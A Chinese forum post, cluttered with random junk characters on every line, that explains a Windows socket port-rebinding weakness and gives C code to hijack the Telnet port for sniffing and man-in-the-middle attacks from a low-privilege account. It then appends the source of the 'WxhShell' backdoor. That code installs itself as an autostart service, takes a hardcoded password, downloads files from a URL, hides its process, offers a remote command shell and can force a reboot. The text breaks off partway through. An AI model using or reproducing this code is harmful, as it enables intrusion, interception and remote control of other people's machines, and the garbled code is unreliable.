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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ZG8DIV\D7  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 08\, <9  
eJX9_6m-  
  saddr.sin_family = AF_INET; )g%d:xI  
`e&Suyf4B  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); `kXs;T6&  
y/7\?qfTk  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %XQ(fj>  
-zeG1gr3  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Jk n>S#SZ  
G<J?"oQbRT  
  这意味着什么?意味着可以进行如下的攻击: =>v#4zFd  
!F'YDjTot  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 wc4{)qDE  
By4<2u38u  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) '-XXo=>0MV  
2eY_%Y0  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 bwMm#f  
qqY"*uJ'  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8wFJ4v3  
B%6)}Nl[  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Z=o2H Bm7  
3bH'H*2  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 N<VJ(20y  
y??XIsF  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 x g  
vXZOy%$o  
  #include ndMA-`Ny,  
  #include dkTX  
  #include &n:.k}/P  
  #include    =-n}[Y}A  
  DWORD WINAPI ClientThread(LPVOID lpParam);   [hv~o~q  
  int main() f r6 fj  
  { ;[OH(!  
  WORD wVersionRequested; c`w}|d]mC  
  DWORD ret; ~=l;=7 T  
  WSADATA wsaData; m&&m,6``P  
  BOOL val; t-bB>q#3>  
  SOCKADDR_IN saddr; UySZbmP48  
  SOCKADDR_IN scaddr; VuZuS6~#J  
  int err; ;85>xHK  
  SOCKET s; FWgpnI\X|{  
  SOCKET sc; +a{1)nCXe  
  int caddsize; #.)0xfGW)n  
  HANDLE mt; TKmf+ZT*r  
  DWORD tid;   <R=Zs[9M1  
  wVersionRequested = MAKEWORD( 2, 2 ); lzVq1@B  
  err = WSAStartup( wVersionRequested, &wsaData ); /t$d\b17pX  
  if ( err != 0 ) { >U27];}y  
  printf("error!WSAStartup failed!\n"); R$[vm6T?  
  return -1; >!1-lfa8  
  } vV-`jsq20H  
  saddr.sin_family = AF_INET; }00BllJ  
   cIOlhX@  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Z,Dl` w  
M!D3}JRm  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); hT+_(>hT  
  saddr.sin_port = htons(23); VTY 5]|;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .Vvx,>>D  
  { R(G7m@@{  
  printf("error!socket failed!\n"); RQ" ,3.R==  
  return -1; d|Lj~x|  
  } 4O!ikmY:t  
  val = TRUE; 12gU{VD  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 x7<K<k;s  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 0)Wltw~`&  
  { H8}oIA"b  
  printf("error!setsockopt failed!\n"); 6A+nS=  
  return -1; mtcw#D  
  } T!)(Dv8@F  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; PIS2Ed]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 q(W3i^778  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 FP4P|kl/9'  
5D//*}b,  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7Kxp=-k  
  { 59;KQ  
  ret=GetLastError(); )R1<N  
  printf("error!bind failed!\n"); tJ$_lk ~6q  
  return -1; PtiOz :zV  
  } >7DhTM-A  
  listen(s,2); %YqEzlzF  
  while(1) 4zFW-yy  
  { N6i Q8P -  
  caddsize = sizeof(scaddr); R%[ c;i  
  //接受连接请求 ,/|T-Ka  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); QD]6C2j*  
  if(sc!=INVALID_SOCKET) ]Gq !`O1  
  { ml }{|Yz  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); z9Rp`z&`E  
  if(mt==NULL) 3eQ&F~S  
  { `*1p0~cu  
  printf("Thread Creat Failed!\n"); AFE~ v\Gz  
  break; 0{-q#/  
  } NyNXP_8  
  } ' %o#q6O  
  CloseHandle(mt); WX3-\Y5E  
  } "87:?v[[1  
  closesocket(s); =fFP5e ['  
  WSACleanup(); sdw(R#GE  
  return 0; =]0&i]z[.  
  }   Se =`N  
  DWORD WINAPI ClientThread(LPVOID lpParam) ,.FxIl ]  
  { %6f*{G w  
  SOCKET ss = (SOCKET)lpParam; 3AN/ H  
  SOCKET sc; I^$fMdT  
  unsigned char buf[4096]; smo~7;  
  SOCKADDR_IN saddr; B \2 SH%\  
  long num; onxLyx|A  
  DWORD val; toC^LZgZ_6  
  DWORD ret; L) T (<  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Qh\60f>0  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   a<bwzX|.  
  saddr.sin_family = AF_INET; T1=fNF  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Z4 =GMXj  
  saddr.sin_port = htons(23); 1o{Mck  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2`=7_v  
  { _KAQ}G3  
  printf("error!socket failed!\n"); ]Er$*7f  
  return -1; ;>7De8v@@  
  } 0YDR1dO(*  
  val = 100; w~qT1vCCN  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Vs!Nmv`  
  { .eVG:tl\  
  ret = GetLastError(); t;\Y{`  
  return -1; 7WZ+T"O{I  
  } ePo}y])2  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) { 9q4)R}G  
  { k~nBiV  
  ret = GetLastError(); k~w*W X'  
  return -1; ]~3V}z,T*  
  } -6B4sZpzD  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) r mg}N  
  { 7J<5f)  
  printf("error!socket connect failed!\n"); QhJiB%M  
  closesocket(sc); 8 v%o,"  
  closesocket(ss); &^Q/,H~S  
  return -1; c\AfaK^KF  
  } ;u)I\3`*!  
  while(1) $*fMR,~t&  
  { |@4' <4t  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7hPY_W y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 zy }$i?  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 v`1M[  
  num = recv(ss,buf,4096,0); 1p=]hC  
  if(num>0) F7#JLE=  
  send(sc,buf,num,0); =B@2#W#  
  else if(num==0) {R6ZKB  
  break; $6SW;d+>n  
  num = recv(sc,buf,4096,0); R8'RA%O9J  
  if(num>0) Ds:'Lb  
  send(ss,buf,num,0); rFL;'Cj@  
  else if(num==0) t1x1,SL  
  break; YUk\Q%  
  } brUF6rQ  
  closesocket(ss); ?&1!vz  
  closesocket(sc); II,8O  
  return 0 ; KPUV@eQ,  
  } {bY%# m  
h@ry y\9  
EXqE~afm2  
========================================================== }0Ed ]  
l+^*LqEW2  
下边附上一个代码,,WXhSHELL |&i<bqLw:  
g[4WzDF*  
========================================================== DSn_0D  
kE1TP]|  
#include "stdafx.h" }k.Z~1y  
ncT&Gr   
#include <stdio.h> '6%2.[ o  
#include <string.h> `e}B2;$A3  
#include <windows.h> K]w'&Qm8W  
#include <winsock2.h> "3Y0`&:D  
#include <winsvc.h> ey$&;1x#5  
#include <urlmon.h> 6.yu-xm  
x7 ,5  
#pragma comment (lib, "Ws2_32.lib") tc_3sC7jN  
#pragma comment (lib, "urlmon.lib") - 1gVeT&  
.(k|wX[Fu~  
#define MAX_USER   100 // 最大客户端连接数 %d9uTm;  
#define BUF_SOCK   200 // sock buffer >i?oC^QM  
#define KEY_BUFF   255 // 输入 buffer O?#7N[7  
4{|"7/PE1  
#define REBOOT     0   // 重启 ^} >w<'0  
#define SHUTDOWN   1   // 关机 Ml-6OvQ7g  
V(!V_Ug9.  
#define DEF_PORT   5000 // 监听端口 $/Uq0U  
 a0)QH  
#define REG_LEN     16   // 注册表键长度 !R`{ TbN  
#define SVC_LEN     80   // NT服务名长度 ~*];pV]A[  
$6R-5oQ  
// 从dll定义API 5]:U9ts#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); j^RmrOg ,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); NC6&x=!3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); H3-hcx54T  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); e~"U @8xk~  
;#< 0<  
// wxhshell配置信息 19%i mf  
struct WSCFG { ?(_08O  
  int ws_port;         // 监听端口 gL/9/b4  
  char ws_passstr[REG_LEN]; // 口令 `C'H.g\>2Q  
  int ws_autoins;       // 安装标记, 1=yes 0=no j8:\%|  
  char ws_regname[REG_LEN]; // 注册表键名 J\=*#*rJ1  
  char ws_svcname[REG_LEN]; // 服务名 kvu)y`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ((%? `y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 P?P#RhvA1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )MT}+ai  
int ws_downexe;       // 下载执行标记, 1=yes 0=no tw)mepwB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^E>3|du]O  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Q\sK"~@3  
]JQULE)  
}; +G>\-tjSD  
 uHRsFlw  
// default Wxhshell configuration !&@615Vtw  
struct WSCFG wscfg={DEF_PORT, 4 s9LB  
    "xuhuanlingzhe", t\O16O7S  
    1, !^G\9"4A  
    "Wxhshell", lNO;O}8  
    "Wxhshell", C~exi[3  
            "WxhShell Service", rEz^  
    "Wrsky Windows CmdShell Service", AbW6x  
    "Please Input Your Password: ", +R75v)  
  1, gf\oC> N  
  "http://www.wrsky.com/wxhshell.exe", +R:(_:7  
  "Wxhshell.exe" 1s;S aq+  
    }; * kh tJ]=  
6j|{`Zd)G  
// 消息定义模块 )%fH(ns(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (S Yln>o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gbD KE{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2y1Sne=<Kb  
char *msg_ws_ext="\n\rExit."; HTTC TR  
char *msg_ws_end="\n\rQuit."; lPAQ3t!,  
char *msg_ws_boot="\n\rReboot..."; SSzIih@u  
char *msg_ws_poff="\n\rShutdown..."; E2+`4g@{8<  
char *msg_ws_down="\n\rSave to "; %mgE;~"&  
%iqD5x$OA  
char *msg_ws_err="\n\rErr!"; Q22 GIr  
char *msg_ws_ok="\n\rOK!"; +&H4m=D-#a  
K3l95he  
char ExeFile[MAX_PATH]; ` 5>b:3  
int nUser = 0; +jgSV.N  
HANDLE handles[MAX_USER]; hOK8(U0  
int OsIsNt; n~Lt\K:  
)D%~` ,#pQ  
SERVICE_STATUS       serviceStatus; WUTowr  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :.`2^  
u9p$YJ  
// 函数声明 j![\& z  
int Install(void); ql~J8G9  
int Uninstall(void); u_Z+;{]Pj  
int DownloadFile(char *sURL, SOCKET wsh); e&>2 n  
int Boot(int flag); F_P~x(X  
void HideProc(void); 3o/[t  
int GetOsVer(void); dqcL]e  
int Wxhshell(SOCKET wsl); K)iF>y|{*q  
void TalkWithClient(void *cs); WTiD[u  
int CmdShell(SOCKET sock); a?oI>8*  
int StartFromService(void); jSaU?ac  
int StartWxhshell(LPSTR lpCmdLine); ;qV>L=a  
iK;XZZ(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w&.a QGR#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); M D#jj3y  
AQ^u   
// 数据结构和表定义 0b 54fD=  
SERVICE_TABLE_ENTRY DispatchTable[] = #T"4RrR  
{ :Llb< MY2  
{wscfg.ws_svcname, NTServiceMain}, )QJUUn#  
{NULL, NULL} (**oRwr%  
}; |k9 C/  
m(P]k'ZH?  
// 自我安装 -D: b*D  
int Install(void) 1{.9uw"2S  
{ X5w$4Kj&4l  
  char svExeFile[MAX_PATH]; JlJ a #  
  HKEY key; o5)<$P43  
  strcpy(svExeFile,ExeFile); e+=K d+:k  
iN.n8MN=I  
// 如果是win9x系统,修改注册表设为自启动 $<OD31T  
if(!OsIsNt) { y>ktcuML  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eszG0Wu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o}{5i Tg=  
  RegCloseKey(key); !d T4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5~S5F3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -tU'yKhn  
  RegCloseKey(key); ?&uu[y  
  return 0; =i3n42M#  
    } !ubD/KE  
  } lmhLM. 2  
} 2 ? 4!K.  
else { :~SyL!  
.A|@?p[  
// 如果是NT以上系统,安装为系统服务 :Iz8aQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  WfRXP^a  
if (schSCManager!=0) 3iU=c&P  
{ DW3G  
  SC_HANDLE schService = CreateService og>uj>H&  
  ( 4I(Xy]wm  
  schSCManager, CNx8] _2  
  wscfg.ws_svcname, BL4-7  
  wscfg.ws_svcdisp, -7|H}!DFT  
  SERVICE_ALL_ACCESS, $Z>'Jp  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o;R I*I  
  SERVICE_AUTO_START, A<fG}q1#  
  SERVICE_ERROR_NORMAL, 8l">cVo]T  
  svExeFile, [.}oyz; }N  
  NULL, ;O #>Y  
  NULL, q0 \6F^;M  
  NULL, Zgb!E]V[  
  NULL, P+HXn8@  
  NULL 'we>q@  
  ); >C~6\L`c  
  if (schService!=0) bQ5\ ]5M  
  { Ht&Y C<X  
  CloseServiceHandle(schService); &>}5jC.I  
  CloseServiceHandle(schSCManager); I*^Ta{j[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -DAlRz#d,  
  strcat(svExeFile,wscfg.ws_svcname); 9Gz=lc[!7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =?`c=z3~i$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]]Ufas9  
  RegCloseKey(key); i{qgn%#}Y  
  return 0; 9o!Bzy+_  
    } |gY^)9ei  
  } 8a"%0d#  
  CloseServiceHandle(schSCManager); xe$_aBU  
} ft Wv~Eh  
} EB|}fz  
S5EK~#-L[  
return 1; ?Ss!e$jf  
} ]J]h#ZHx  
{(?4!rh  
// 自我卸载 pmYHUj #  
int Uninstall(void) QSf|nNT  
{ +qdEq_ m  
  HKEY key; 3T0"" !Q  
f|oh.z_R  
if(!OsIsNt) { f`66h M[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )BfAw  
  RegDeleteValue(key,wscfg.ws_regname); z([</D?  
  RegCloseKey(key); mXs; b 2r^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M rb)  
  RegDeleteValue(key,wscfg.ws_regname); <QGXy=  
  RegCloseKey(key); _h1mF<\ X^  
  return 0; S$X Sei_q  
  } is@?VklnB  
} YKf0dh;O  
} *DhiN  
else { I1&aM}y{G  
MnW+25=N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {BU;$  
if (schSCManager!=0) B#1;r-^P<  
{ IEvdV6{K  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Jj%K=sw  
  if (schService!=0) ""~ajy  
  { Yu2Bkq+  
  if(DeleteService(schService)!=0) { Ny)X+2Ae  
  CloseServiceHandle(schService); C+&l< fM&  
  CloseServiceHandle(schSCManager); DLNb o2C  
  return 0; /; 85i6  
  } IV)j1  
  CloseServiceHandle(schService); 18:%~>.!  
  } 0+b1vhQ  
  CloseServiceHandle(schSCManager); #C@FYO f*  
} ,5<Cd,`*  
} cj5+N M"  
]5:8Z@  
return 1; )dd@\n$6  
}  %D "I  
a C)!T  
// 从指定url下载文件 8, >P  
int DownloadFile(char *sURL, SOCKET wsh) )wh A<lC  
{ ;i:d+!3XwC  
  HRESULT hr; QkC(uS  
char seps[]= "/"; q'MZ R'<@  
char *token; ;gr9/Vl  
char *file; II x#2r  
char myURL[MAX_PATH]; uY'HT|@:{  
char myFILE[MAX_PATH]; 7. ;3e@s  
y"wShAR  
strcpy(myURL,sURL); Pk)1WK7E  
  token=strtok(myURL,seps); QP J4~  
  while(token!=NULL) \dQNLLg/  
  { g eCM<]  
    file=token; K", N!koj  
  token=strtok(NULL,seps); r]36z X v  
  } k"w"hg&e  
k|d+#u[Mj@  
GetCurrentDirectory(MAX_PATH,myFILE); $* Kvc$D  
strcat(myFILE, "\\"); v|2T%y_ u  
strcat(myFILE, file); iAU@Yg`pt  
  send(wsh,myFILE,strlen(myFILE),0); =w0R$&b&  
send(wsh,"...",3,0); :*\Pn!r  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bA->{OPkT  
  if(hr==S_OK) 45>?o  
return 0; {Y9q[D'g.  
else 7D5]G-}x.  
return 1; H<N,%G  
tIgN$BHR>  
} b|W=pSTY  
pz>>)c`  
// 系统电源模块 4HA<P6L  
int Boot(int flag) A3@6N(  
{ cExS7~*  
  HANDLE hToken; *;*r 8[U}q  
  TOKEN_PRIVILEGES tkp; PwLZkr@4^  
J-hbh  
  if(OsIsNt) { &:) Wh[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 83q6Sv  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^y%T~dLkp'  
    tkp.PrivilegeCount = 1; V "h +L7T  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @;RXLq/8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); u.Dz~$T  
if(flag==REBOOT) { IO-Ow!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [ibu/ W$  
  return 0; vRO _Q?  
} wAW5 Z0D  
else { @<&m|qtMsz  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d/DB nZN  
  return 0; `W*U4?M  
} D}X\Ca"h  
  } 8-77d^cprR  
  else { 'Qe;vZ31K  
if(flag==REBOOT) { @s2y~0}#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) W6/yn  
  return 0; :6\qpex  
} ]?[fsdAQW  
else { e^D]EA ]%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FJP-y5  
  return 0; s-T\r"d=j  
} 0:Ol7  
} 3'u-'  
"LTad`]<Ro  
return 1; A~t j/yq9  
} "a U aotx  
]GQG~ H^  
// win9x进程隐藏模块 ?<'}r7D   
void HideProc(void)  a!AA]  
{ SI-Ops~e  
jtc]>]6i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); NHZz _a=  
  if ( hKernel != NULL ) !d0kV,F:  
  { 7O-x<P;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _zi|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); WEi2=3dV  
    FreeLibrary(hKernel); @2 fg~2M1  
  } B ,epzI  
v z '&%(  
return; DlMW(4(  
} 81 sG  
x+@rg];m  
// 获取操作系统版本 N5b!.B x-w  
int GetOsVer(void) Ej8^Zg  
{ iqQD{SRt{  
  OSVERSIONINFO winfo; v #j$;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &FN.:_E  
  GetVersionEx(&winfo); ckE-",G  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _>X+ZlpU:  
  return 1; (0_2sfS  
  else Y glmX"fLf  
  return 0; <B6H. P =  
} dVT$VQg  
@QPz #-  
// 客户端句柄模块 M:B=\&.O  
int Wxhshell(SOCKET wsl) 338k?nHxv  
{ n8ZZ#}Nhg  
  SOCKET wsh; q'Tf,a  
  struct sockaddr_in client; ExL0?FemWV  
  DWORD myID; L>4"(  
i6Emhji  
  while(nUser<MAX_USER) mSh[}%swj  
{ &Ys<@M7E:  
  int nSize=sizeof(client); C1 GKLl~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); cB}D^O   
  if(wsh==INVALID_SOCKET) return 1; Vb]=B~^`  
={@6{-tl  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D7Q$R:6|  
if(handles[nUser]==0) [j/9neaye  
  closesocket(wsh); N~zdWnSZ@G  
else 0{}8(  
  nUser++; aE$[5 2  
  } K/yxE|w<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Uf;^%*P4  
R|87%&6']  
  return 0; K} X&AJ5A  
} _TQj~W<  
}l} Bo.C  
// 关闭 socket t)$:0  
void CloseIt(SOCKET wsh) ^Q?  
{ CU2*z(]&  
closesocket(wsh); _H7x9 y=  
nUser--; #( 146  
ExitThread(0); '$]97b7G  
} >$/>#e~  
O)n~](sC\  
// 客户端请求句柄 9gK` E  
void TalkWithClient(void *cs) M\Ye<Tk  
{ HJ[cM6$2  
uo%)1NS!  
  SOCKET wsh=(SOCKET)cs; rlSeu5X6  
  char pwd[SVC_LEN];  < !C)x  
  char cmd[KEY_BUFF]; ['tY4$L(  
char chr[1]; SP_75BJ  
int i,j; R=2FNP  
!@*7e:l  
  while (nUser < MAX_USER) { `% "\@<  
#r~# I}U  
if(wscfg.ws_passstr) { YWO)HsjP  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bI9~jWgGp  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TpwkD_fg  
  //ZeroMemory(pwd,KEY_BUFF); ^7WN{0  
      i=0; kxIF#/8  
  while(i<SVC_LEN) { H;k~oIs k  
3<f}nfB%r?  
  // 设置超时 2E)-M9ds  
  fd_set FdRead; 9ZsVy  
  struct timeval TimeOut; w4{<n /"  
  FD_ZERO(&FdRead); paE[rS\  
  FD_SET(wsh,&FdRead); 3J|F?M"N7  
  TimeOut.tv_sec=8; nRZ]z( b  
  TimeOut.tv_usec=0; 8COGsWK  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ` *N[jm"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); K+K#+RBK  
&>W$6>@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j[G  
  pwd=chr[0]; $2M$?4S/T  
  if(chr[0]==0xd || chr[0]==0xa) { Nv}=L : E  
  pwd=0; WH@,kH@  
  break; Zbt.t] N  
  } '9Xu p  
  i++; $$;M^WV^?.  
    } s.QwSbw-g  
d_E/8R_$L  
  // 如果是非法用户,关闭 socket rCbDu&k]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); SaAFz&WRl  
} `*cxH..  
3-qr)h  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !v_|zoCEj  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ru!iR#s)!  
H0gbSd+  
while(1) { eFTpnG  
g<; q.ZylT  
  ZeroMemory(cmd,KEY_BUFF); ?*1uN=oI{*  
o!Ieb  
      // 自动支持客户端 telnet标准   w3obIJm  
  j=0; g._]8{K  
  while(j<KEY_BUFF) { v,{ :Ez(H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :vqgGKml$  
  cmd[j]=chr[0]; Y^;ovH~ ve  
  if(chr[0]==0xa || chr[0]==0xd) { RSyUaA  
  cmd[j]=0; y@:h4u"3  
  break; 0oZ= yh  
  } .*?wF  
  j++; I7vz+>Jr  
    } ):68%,  
M2>Vj/  
  // 下载文件  +yH7v5W  
  if(strstr(cmd,"http://")) { ,,&* :<Q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); kYqU9cB~  
  if(DownloadFile(cmd,wsh)) 6azGhxh  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2Aazy'/  
  else $=8  NED5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %G_B^p4  
  } nn:.nU|I  
  else { Vvn2 Ep  
2~1SQ.Q<RY  
    switch(cmd[0]) { Is)u }  
  m '|b GV  
  // 帮助 oWim}Er=  
  case '?': { FxtQXu-g  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F|o:W75  
    break; iohop(LZ  
  } T@:Wp4>69  
  // 安装 9~5uaP$S  
  case 'i': { jrlVvzZ  
    if(Install()) ~Ei$nV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RK'\C\gMDu  
    else GmeQ`;9,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hz;G$cuEE  
    break; h-#6av :  
    } nwB_8mN|  
  // 卸载 QT< }] 0  
  case 'r': { 1R{!]uh  
    if(Uninstall()) Q_Q''j(r6b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ['X]R:3h  
    else Utj&]RELK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0neoE E  
    break; Qcq`libK  
    } nJG U-Z  
  // 显示 wxhshell 所在路径 b8`)y<7  
  case 'p': { &I+5  
    char svExeFile[MAX_PATH]; <;eW=HT+uq  
    strcpy(svExeFile,"\n\r"); 1#V_Z^OL  
      strcat(svExeFile,ExeFile); +j`5F3@  
        send(wsh,svExeFile,strlen(svExeFile),0); 3nIU1e  
    break; uy[At+%zg  
    } +eWQa`g  
  // 重启 q#Z@+(^  
  case 'b': { J{p1|+h%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6y%qVx#!  
    if(Boot(REBOOT)) g 2LM_1\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #zv3b[@  
    else { ^pAAzr"hv  
    closesocket(wsh); N ,'GN[s  
    ExitThread(0); B4c]}r+  
    } -LoZs ru  
    break; 8`q:Gz=M\  
    } rxgbV.tx  
  // 关机 =r?hg GWe  
  case 'd': { | C;=-|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); AW%#O\N  
